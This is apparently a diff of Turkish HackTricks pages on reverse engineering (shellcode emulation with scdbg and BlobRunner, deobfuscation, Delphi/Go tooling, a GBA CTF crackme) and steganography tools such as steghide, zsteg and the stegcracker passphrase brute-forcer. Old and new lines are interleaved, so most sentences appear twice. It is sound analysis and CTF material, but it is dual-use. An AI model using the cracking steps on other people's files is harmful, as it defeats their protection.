Ardından, bir hata ayıklayıcıyı (Ida veya x64dbg) sürece bağlamalı ve belirtilen bellek adresine bir **kırılma noktası** yerleştirmeli ve yürütmeyi **devam ettirmelisiniz**. Böylece shellcode'u hata ayıklıyorsunuz.
[**Blobrunner**](https://github.com/OALabs/BlobRunner), bir bellek alanına **shellcode**'u **ayıracak**, size shellcode'un ayrıldığı **bellek adresini** gösterecek ve yürütmeyi **durduracak**tır.\
Daha sonra, bir hata ayıklayıcıyı (Ida veya x64dbg) sürece **bağlamanız** ve belirtilen bellek adresine bir **kırılma noktası koymalısınız** ve yürütmeyi **devam ettirmelisiniz**. Böylece shellcode'u hata ayıklıyorsunuz.
Yayınlar github sayfası, derlenmiş sürümleri içeren zip dosyalarını içerir: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
Blobrunner'ın hafif değiştirilmiş bir sürümünü aşağıdaki bağlantıda bulabilirsiniz. Derlemek için sadece **Visual Studio Code'da bir C/C++ projesi oluşturun, kodu kopyalayıp yapıştırın ve derleyin**.
@ -215,34 +187,36 @@ Blobrunner'ın hafif değiştirilmiş bir sürümünü aşağıdaki bağlantıda
[blobrunner.md](blobrunner.md)
{% endcontent-ref %}
### jmp2it ile bir shellcode'yu hata ayıklama
### jmp2it ile bir shellcode'u hata ayıklama
[**jmp2it**](https://github.com/adamkramer/jmp2it/releases/tag/v1.4), blobrunner'a çok benzer. Shellcode'yu bellekte bir alan içine **ayırır** ve bir **sonsuz döngü** başlatır. Ardından, hata ayıklayıcıyı sürece **bağlamanız**, **başlatmanız**, 2-5 saniye beklemeniz ve **durdurmanız** gerekmektedir ve kendinizi **sonsuz döngü** içinde bulacaksınız. Sonsuz döngünün bir sonraki talimatına atlayın çünkü bu shellcode'a bir çağrı olacak ve sonunda shellcode'u yürütüyormuş gibi bulacaksınız.
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4), blobrunner'a çok benzerdir. Bir bellek alanına **shellcode**'u **ayıracak** ve bir **sonsuz döngü** başlatacaktır. Ardından, süreci **bağlamalı**, **başlatmalı, 2-5 saniye beklemeli ve durmalısınız** ve kendinizi **sonsuz döngü** içinde bulacaksınız. Sonsuz döngünün bir sonraki talimatına atlayın çünkü bu shellcode'a bir çağrı olacaktır ve sonunda shellcode'u yürütürken bulacaksınız.
![](<../../.gitbook/assets/image (397).png>)
Derlenmiş bir sürümünü [yayınlar sayfasından jmp2it'i indirebilirsiniz](https://github.com/adamkramer/jmp2it/releases/).
[Çıkış sayfasından derlenmiş bir sürümünü indirebilirsiniz](https://github.com/adamkramer/jmp2it/releases/).
### Cutter kullanarak shellcode'u hata ayıklama
### Cutter ile bir shellcode'u hata ayıklama
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0), radare'nin GUI'sudur. Cutter kullanarak shellcode'u emüle edebilir ve dinamik olarak inceleyebilirsiniz.
Cutter'ın "Dosya Aç" ve "Shellcode Aç" seçeneklerine sahip olduğunu unutmayın. Benim durumumda, shellcode'u bir dosya olarak açtığımda doğru şekilde dekompilasyon yaptı, ancak shellcode'u bir shellcode olarak açtığımda yapmadı:
Cutter'ın "Dosya Aç" ve "Shellcode Aç" seçeneklerine izin verdiğini unutmayın. Benim durumumda, shellcode'u bir dosya olarak açtığımda doğru şekilde decompile etti, ancak shellcode olarak açtığımda yapamadı:
![](<../../.gitbook/assets/image (400).png>)
Emülasyonu istediğiniz yerde başlatmak için oraya bir kırılma noktası ayarlayın ve görünüşe göre cutter otomatik olarak oradan emülasyonu başlatacaktır:
Başlamak istediğiniz yerde emülasyonu başlatmak için oraya bir bp ayarlayın ve görünüşe göre cutter otomatik olarak oradan emülasyona başlayacaktır:
![](<../../.gitbook/assets/image (399).png>)
Örneğin, bir onaltılık döküm içinde yığını görebilirsiniz:
![](<../../.gitbook/assets/image (401).png>)
Örneğin, bir hex dump içinde yığını görebilirsiniz:
![](<../../.gitbook/assets/image (402).png>)
### Shellcode'u deobfuscate etmek ve yürütülen işlevleri almak
### Shellcode'u deobfuscate etme ve yürütülen fonksiyonları almak
[**scdbg**'yi denemelisiniz](http://sandsprite.com/blogs/index.php?uid=7\&pid=152).\
scdbg, shellcode'un hangi işlevleri kullandığını ve shellcode'un bellekte kendini **şifrelediğini** söyler.
Shellcode'un hangi fonksiyonları kullandığını ve shellcode'un bellekte kendini **çözüp çözmediğini** size söyleyecektir.
```bash
scdbg.exe -f shellcode # Get info
scdbg.exe -f shellcode -r #show analysis report at end of run
@ -251,73 +225,64 @@ scdbg.exe -f shellcode -d #Dump decoded shellcode
scdbg.exe -f shellcode /findsc #Find offset where starts
scdbg.exe -f shellcode /foff 0x0000004D #Start the executing in that offset
```
scDbg ayrıca, istediğiniz seçenekleri seçebileceğiniz ve shellcode'yu çalıştırabileceğiniz grafiksel bir başlatıcıya sahiptir.
scDbg ayrıca, istediğiniz seçenekleri seçebileceğiniz ve shellcode'yi yürütebileceğiniz grafiksel bir başlatıcıya sahiptir
![](<../../.gitbook/assets/image (398).png>)
**Dump Oluştur** seçeneği, bellekteki shellcode'a dinamik olarak herhangi bir değişiklik yapılırsa (şifrelenmiş shellcode'u indirmek için kullanışlıdır) son shellcode'u döker. **Başlangıç ofseti**, shellcode'u belirli bir ofsette başlatmak için kullanışlı olabilir. **Debug Shell** seçeneği, scDbg terminalini kullanarak shellcode'u hata ayıklamak için kullanışlıdır (ancak bu konuda önce açıklanan seçeneklerden herhangi birini kullanmanın daha iyi olduğunu düşünüyorum çünkü Ida veya x64dbg kullanabilirsiniz).
**Dump Oluştur** seçeneği, bellekte shellcode dinamik olarak değiştirilirse son shellcode'u döker (çözülmüş shellcode'u indirmek için faydalıdır). **Başlangıç ofseti**, shellcode'u belirli bir ofsette başlatmak için faydalı olabilir. **Debug Shell** seçeneği, shellcode'u scDbg terminalini kullanarak hata ayıklamak için faydalıdır (ancak bu konuda açıklanan seçeneklerden herhangi birini daha iyi buluyorum çünkü Ida veya x64dbg kullanabileceksiniz).
### CyberChef Kullanarak Disassembling
Shellcode dosyanızı giriş olarak yükleyin ve aşağıdaki reçeteyi kullanarak onu decompile edin: [https://gchq.github.io/CyberChef/#recipe=To\_Hex('Space',0)Disassemble\_x86('32','Full%20x86%20architecture',16,0,true,true)](https://gchq.github.io/CyberChef/#recipe=To\_Hex\('Space',0\)Disassemble\_x86\('32','Full%20x86%20architecture',16,0,true,true\))
Shellcode dosyanızı giriş olarak yükleyin ve aşağıdaki reçeteyi kullanarak derleyin: [https://gchq.github.io/CyberChef/#recipe=To\_Hex('Space',0)Disassemble\_x86('32','Full%20x86%20architecture',16,0,true,true)](https://gchq.github.io/CyberChef/#recipe=To\_Hex\('Space',0\)Disassemble\_x86\('32','Full%20x86%20architecture',16,0,true,true\))
## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
Bu obfuscator, **tüm `mov` talimatlarını değiştirir** (evet, gerçekten harika). Ayrıca, yürütme akışlarını değiştirmek için kesintileri kullanır. Nasıl çalıştığı hakkında daha fazla bilgi için:
Bu obfuscator, **tüm `mov` komutları için talimatları değiştirir**(evet, gerçekten harika). Ayrıca, yürütme akışlarını değiştirmek için kesmeler kullanır. Nasıl çalıştığı hakkında daha fazla bilgi için:
* [https://www.youtube.com/watch?v=2VF\_wPkiBJY](https://www.youtube.com/watch?v=2VF\_wPkiBJY)
* [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf)
Şanslıysanız, [demovfuscator](https://github.com/kirschju/demovfuscator) ikili dosyayı deobfuscate edecektir. Çeşitli bağımlılıkları vardır.
Eğer şanslıysanız [demovfuscator ](https://github.com/kirschju/demovfuscator)binary'i deofuske edecektir. Çeşitli bağımlılıkları bulunmaktadır
```
apt-get install libcapstone-dev
apt-get install libz3-dev
```
Ve [keystone'ı yükleyin](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`)
Ve [keystone'ı yükle](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`)
Eğer bir **CTF oynuyorsanız, bayrağı bulmak için bu çözüm yöntemi** çok faydalı olabilir: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli güvenlik açıklarını bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
Eğer bir **CTF oyununda isimlendirilmiş bayrağı bulmak** istiyorsanız, bu çözüm yararlı olabilir: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
## Rust
**Giriş noktasını** bulmak için `::main` ile fonksiyonları arayın, örneğin:
**Giriş noktasını** bulmak için `::main` gibi fonksiyonları arayın:
![](<../../.gitbook/assets/image (612).png>)
Bu durumda, ikili dosya authenticator olarak adlandırıldığından, bu ilginç ana fonksiyon olduğu oldukça açıktır.\
Çağrılan **fonksiyonların adını** bulduktan sonra, **Internet** üzerinde bunların **girdileri** ve **çıktıları** hakkında bilgi edinmek için arama yapın.
Bu durumda, ikili dosya authenticator olarak adlandırıldığı için bu ilginç ana fonksiyon olduğu oldukça açıktır.\
**Çağrılan fonksiyonların isimlerine** sahip olarak, bunları **İnternet** üzerinde arayarak **girdileri** ve **çıktıları** hakkında bilgi edinin.
## **Delphi**
Delphi derlenmiş ikili dosyalar için [https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR) kullanabilirsiniz.
Delphi derlenmiş ikili dosyalar için [https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR) kullanabilirsiniz
Bir Delphi ikili dosyasını tersine çevirmeniz gerekiyorsa, IDA eklentisini kullanmanızı öneririm [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
Delphi ikili dosyasını tersine çevirmeniz gerekiyorsa, IDA eklentisini kullanmanızı öneririm [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
Sadece **ATL+f7** tuşlarına basın (IDA'da python eklentisini içe aktarın) ve python eklentisini seçin.
Bu eklenti, hata ayıklamanın başında ikili dosyayı yürütür ve fonksiyon adlarını dinamik olarak çözer. Hata ayıklamaya başladıktan sonra Start düğmesine (yeşil olan veya f9) tekrar basın ve gerçek kodun başında bir kesme noktası oluşacaktır.
Bu eklenti, hata ayıklamanın başında işlev adlarını dinamik olarak çözecek ve işlev adlarını çözecektir. Hata ayıklamaya başladıktan sonra tekrar Başlat düğmesine basın (yeşil olan veya f9) ve bir kesme noktası gerçek kodun başında olacaktır.
Ayrıca, grafik uygulamasında bir düğmeye bastığınızda hata ayıklayıcı, o düğme tarafından yürütülen fonksiyonda duracaktır.
Ayrıca, grafik uygulamasında bir düğmeye bastığınızda hata ayıklayıcı, o düğme tarafından yürütülen işlevde duracaktır.
## Golang
Bir Golang ikili dosyasını tersine çevirmeniz gerekiyorsa, IDA eklentisini kullanmanızı öneririm [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
Golang ikili dosyasını tersine çevirmeniz gerekiyorsa, IDA eklentisini kullanmanızı öneririm [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
Sadece **ATL+f7** tuşlarına basın (IDA'da python eklentisini içe aktarın) ve python eklentisini seçin.
Bu, fonksiyonların adlarını çözecektir.
Bu, işlevlerin adlarını çözecektir.
## Derlenmiş Python
Bu sayfada, bir ELF/EXE Python derlenmiş ikili dosyasından Python kodunu nasıl alacağınızı bulabilirsiniz:
Bu sayfada, bir ELF/EXE python derlenmiş ikili dosyasından python kodunu nasıl alacağınızı bulabilirsiniz:
{% content-ref url="../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
[.pyc.md](../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
@ -325,18 +290,18 @@ Bu sayfada, bir ELF/EXE Python derlenmiş ikili dosyasından Python kodunu nası
## GBA - Game Body Advance
Bir GBA oyununun **ikili** dosyasını elde ederseniz, farklı araçları kullanarak bunu **emüle** edebilir ve **hata ayıklama** yapabilirsiniz:
Bir GBA oyununun **ikili** dosyasını aldıysanız, onu **emüle etmek** ve **hata ayıklamak** için farklı araçlar kullanabilirsiniz:
* [**no$gba**](https://problemkaputt.de/gba.htm) (_Hata ayıklama sürümünü indirin_) - Arayüzle birlikte bir hata ayıklayıcı içerir
* [**mgba** ](https://mgba.io)- Bir CLI hata ayıklayıcı içerir
* [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidra eklentisi
* [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidra eklentisi
[**no$gba**](https://problemkaputt.de/gba.htm) içinde _**Options --> Emulation Setup --> Controls**_\*\* \*\* bölümünde Game Boy Advance **düğmelerini** nasıl basacağınızı görebilirsiniz
[**no$gba**](https://problemkaputt.de/gba.htm)'da, _**Options --> Emulation Setup --> Controls**_\*\* \*\* Game Boy Advance **düğmelerine** nasıl basılacağını görebilirsiniz
![](<../../.gitbook/assets/image (578).png>)
Basıldığında, her **tuşun bir değeri** vardır ve bunu tanımlamak için kullanılır:
Basıldığında, her **tuşun bir değeri** vardır ve bunu tanımlamak için:
```
A = 1
B = 2
@ -349,13 +314,13 @@ DOWN = 128
R = 256
L = 256
```
Bu tür programlarda, programın kullanıcı girişini nasıl işlediği ilginç bir kısım olacaktır. Adreste **0x4000130** sıkça karşılaşılan **KEYINPUT** fonksiyonunu bulacaksınız.
Bu tür programlarda, programın kullanıcı girdisini nasıl işlediği ilginç bir konu olacaktır. **0x4000130** adresinde yaygın olarak bulunan **KEYINPUT** işlevini bulacaksınız.
![](<../../.gitbook/assets/image (579).png>)
Önceki görüntüde, fonksiyonun **FUN\_080015a8** (adresler: _0x080015fa_ ve _0x080017ac_) tarafından çağrıldığını görebilirsiniz.
Önceki görüntüde, işlevin **FUN\_080015a8** (adresler: _0x080015fa_ ve _0x080017ac_) tarafından çağrıldığını görebilirsiniz.
Bu fonksiyonda, bazı başlatma işlemlerinden sonra (önemli olmayanlar):
Bu işlevde, bazı başlatma işlemlerinden sonra (önemsiz):
```c
void FUN_080015a8(void)
@ -388,7 +353,7 @@ uVar2 = DAT_030004dc;
uVar1 = *puVar6;
if ((uVar1 & DAT_030004da & ~uVar4) != 0) {
```
Son if ifadesi, **`uVar4`**'ün **son tuşlarda** bulunup bulunmadığını ve mevcut tuş olmadığını kontrol ediyor, ayrıca bir düğmeyi bırakma olarak adlandırılıyor (mevcut tuş **`uVar1`** içinde saklanır).
Son if, `uVar4`'ün **son tuşlar** içinde olup olmadığını kontrol ediyor ve mevcut tuş değilse, yani bir düğmeye bırakılıyor (mevcut tuş **`uVar1`** içinde saklanır).
```c
if (uVar1 == 4) {
DAT_030000d4 = 0;
@ -418,13 +383,12 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
```
Önceki kodda, **uVar1** (basılan düğmenin değerinin bulunduğu yer) bazı değerlerle karşılaştırıldığını görebilirsiniz:
* İlk olarak, **4 değeri** (**SELECT** düğmesi) ile karşılaştırılır: Bu meydan okumada bu düğme ekranı temizler.
* Ardından, **8 değeri** (**START** düğmesi) ile karşılaştırılır: Bu meydan okumada kodun bayrağı almak için geçerli olup olmadığını kontrol eder.
* Bu durumda, **`DAT_030000d8`** değişkeni 0xf3 ile karşılaştırılır ve değer aynı ise bazı kodlar çalıştırılır.
* Diğer durumlarda, bazı **cont (`DAT_030000d4`)** kontrol edilir. Bu bir cont'tur çünkü kodun içine girdikten hemen sonra 1 eklenir.
* 8'den küçükse, **`DAT_030000d8`** değişkenine değerlerin eklenmesiyle ilgili bir şey yapılır (temel olarak, cont 8'den küçük olduğu sürece bu değişkene basılan tuşların değerlerini ekler).
* İlk olarak, **değer 4** (**SEÇ** düğmesi) ile karşılaştırılır: Bu düğme meydan okumada ekranı temizler.
* Ardından, **değer 8** (**BAŞLAT** düğmesi) ile karşılaştırılır: Bu meydan okumada kodun bayrağı almak için geçerli olup olmadığını kontrol eder.
* Bu durumda, **`DAT_030000d8`** değişkeni 0xf3 ile karşılaştırılır ve değer aynıysa bazı kodlar yürütülür.
* Diğer durumlarda, bazı `cont (DAT_030000d4)` kontrol edilir. Bu bir `cont` çünkü kod girdikten hemen sonra 1 ekler. Eğer 8'den küçükse, **`DAT_030000d8`** değişkenine değerler ekleyen bir şey yapılır (temelde, `cont` 8'den küçük olduğu sürece basılan tuşların değerlerini bu değişkene ekliyor).
Bu meydan okumada, düğmelerin değerlerini bilerek, sonucunda eklemenin 0xf3 olduğu 8'den küçük bir kombinasyonu **basmanız gerekiyordu**.
Bu meydan okumada, düğmelerin değerlerini bilerek, sonucu 0xf3 olan 8'den küçük bir uzunluktaki bir kombinasyonu **basmanız gerekiyordu**.
**Bu öğretici için referans:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
@ -437,23 +401,16 @@ Bu meydan okumada, düğmelerin değerlerini bilerek, sonucunda eklemenin 0xf3 o
* [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering)
* [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Binary deobfuscation)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli güvenlik açıklarını bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hackleme öğrenin!</summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklam vermek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da** takip edin.
* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -1,56 +1,54 @@
# Stego Hileleri
# Stego Numaraları
<details>
<summary><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam vermek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking numaralarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli olan zayıflıkları bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## **Dosyalardan Veri Çıkarma**
### **Binwalk**
Gömülü gizli dosya ve verileri aramak için bir araç. `apt` aracılığıyla yüklenir ve kaynak kodu [GitHub](https://github.com/ReFirmLabs/binwalk)'da mevcuttur.
Gömülü gizli dosyaları ve verileri aramak için bir araç. `apt` aracılığıyla yüklenir ve kaynak kodu [GitHub](https://github.com/ReFirmLabs/binwalk)'da bulunabilir.
```bash
binwalk file # Displays the embedded data
binwalk -e file # Extracts the data
binwalk --dd ".*" file # Extracts all data
```
### **Foremost**
Başlık ve altbilgilere dayanarak dosyaları kurtarır, png görüntüleri için kullanışlıdır. Kaynağı [GitHub](https://github.com/korczis/foremost) üzerinden `apt` ile kurulur.
Dosyaları başlık ve altbilgilerine göre kurtarır, png görüntüleri için kullanışlıdır. Kaynağı [GitHub](https://github.com/korczis/foremost) üzerinden `apt` ile yüklenir.
```bash
foremost -i file # Extracts data
```
### **Exiftool**
Dosya meta verilerini görüntülemeye yardımcı olur, [burada](https://www.sno.phy.queensu.ca/~phil/exiftool/) bulunabilir.
Dosya meta verilerini görüntülemeye yardımcı olur, [burada](https://www.sno.phy.queensu.ca/\~phil/exiftool/) mevcuttur.
```bash
exiftool file # Shows the metadata
```
### **Exiv2**
Exiftool'a benzer şekilde, meta verileri görüntülemek için kullanılır. `apt` ile kurulabilir, kaynak kodu [GitHub](https://github.com/Exiv2/exiv2)'da bulunur ve [resmi web sitesi](http://www.exiv2.org/) vardır.
Metadata görüntüleme için exiftool'a benzer. `apt` aracılığıyla yüklenebilir, kaynak [GitHub](https://github.com/Exiv2/exiv2) üzerinde bulunabilir ve resmi bir [web sitesi](http://www.exiv2.org/) vardır.
```bash
exiv2 file # Shows the metadata
```
### **Dosya**
Uğraştığınız dosyanın türünü belirleyin.
### **Dizeler**
Dosyalardan okunabilir dizeleri çıkarır, çıktıyı filtrelemek için çeşitli kodlama ayarları kullanır.
Uğraştığınız dosya türünü belirleyin.
### **Dizgeler**
Dosyalardan okunabilir dizgeler çıkarır, çeşitli kodlama ayarlarını kullanarak çıktıyı filtrelemek için.
```bash
strings -n 6 file # Extracts strings with a minimum length of 6
strings -n 6 file | head -n 20 # First 20 strings
@ -63,81 +61,72 @@ strings -e L -n 6 file # 32bit strings (little-endian)
strings -e B -n 6 file # 32bit strings (big-endian)
```
### **Karşılaştırma (cmp)**
Bir dosyanın değiştirilmiş bir sürümünü çevrimiçi bulunan orijinal sürümüyle karşılaştırmak için kullanışlıdır.
Bir dosyanın değiştirilmiş sürümünü çevrimiçi bulunan orijinal sürümü ile karşılaştırmak için kullanışlıdır.
```bash
cmp original.jpg stego.jpg -b -l
```
## **Metinde Gizli Verileri Çıkarma**
### **Boşluklardaki Gizli Veriler**
Görünüşte boş olan boşluklarda görünmez karakterler bilgi saklayabilir. Bu verileri çıkarmak için [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder) adresini ziyaret edin.
***
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
***
Görünüşte boş alanlardaki görünmez karakterler bilgi saklayabilir. Bu verileri çıkarmak için [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder) adresini ziyaret edin.
## **Görüntülerden Veri Çıkarma**
### **GrafikMagick ile Görüntü Ayrıntılarını Belirleme**
### **GrafikMagick ile Görüntü Detaylarını Tanımlama**
[GraphicMagick](https://imagemagick.org/script/download.php), görüntü dosyası türlerini belirlemek ve potansiyel bozulmayı tespit etmek için kullanılır. Bir görüntüyü incelemek için aşağıdaki komutu çalıştırın:
[GraphicMagick](https://imagemagick.org/script/download.php), görüntü dosya türlerini belirlemek ve olası bozulmaları tanımlamak için kullanılır. Bir görüntüyü incelemek için aşağıdaki komutu çalıştırın:
```bash
./magick identify -verbose stego.jpg
```
Bir hasarlı görüntüyü onarmak için, bir meta veri yorumu eklemek yardımcı olabilir:
Bir hasar görmüş görüntüyü onarmak için, bir meta veri yorumu eklemek yardımcı olabilir:
```bash
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
```
### **Veri Gizleme için Steghide**
### **Veri Gizleme İçin Steghide**
Steghide, `JPEG, BMP, WAV ve AU` dosyaları içine veri gizlemeyi kolaylaştırır ve şifreli verileri gömmeyi ve çıkarmayı sağlar. Kurulumu `apt` kullanarak kolaydır ve [kaynak kodu GitHub'da mevcuttur](https://github.com/StefanoDeVuono/steghide).
Steghide, `JPEG, BMP, WAV ve AU` dosyaları içine veri gizlemeyi kolaylaştırır, şifreli veri gömmeyi ve çıkarmayı sağlar. Kurulumu `apt` kullanarak kolaydır ve [kaynak kodu GitHub'da mevcuttur](https://github.com/StefanoDeVuono/steghide).
**Komutlar:**
- `steghide info dosya` dosyanın gizli veri içerip içermediğini ortaya çıkarır.
- `steghide extract -sf dosya [--passphrase şifre]` gizli veriyi çıkarır, şifre isteğe bağlıdır.
* `steghide info dosya` dosyanın gizli veri içerip içermediğini ortaya çıkarır.
* `steghide extract -sf dosya [--passphrase şifre]` gizli veriyi çıkarır, şifre isteğe bağlıdır.
Web tabanlı çıkarma için [bu web sitesini](https://futureboy.us/stegano/decinput.html) ziyaret edin.
**Stegcracker ile Bruteforce Saldırısı:**
- Steghide üzerinde şifre kırma denemeleri yapmak için [stegcracker](https://github.com/Paradoxis/StegCracker.git) şu şekilde kullanılır:
* Steghide üzerinde şifre kırma denemeleri yapmak için [stegcracker](https://github.com/Paradoxis/StegCracker.git) şu şekilde kullanılır:
```bash
stegcracker <file> [<wordlist>]
```
### **PNG ve BMP Dosyaları için zsteg**
zsteg, PNG ve BMP dosyalarında gizli verileri ortaya çıkarmak için özelleşmiştir. Kurulum, `gem install zsteg` komutuyla yapılır ve [GitHub'da](https://github.com/zed-0xff/zsteg) kaynak kodu bulunur.
zsteg, PNG ve BMP dosyalarındaki gizli verileri ortaya çıkarmak için uzmanlaşmıştır. Kurulum `gem install zsteg` komutu ile yapılır, [GitHub'daki kaynağı](https://github.com/zed-0xff/zsteg)ndan erişilebilir.
**Komutlar:**
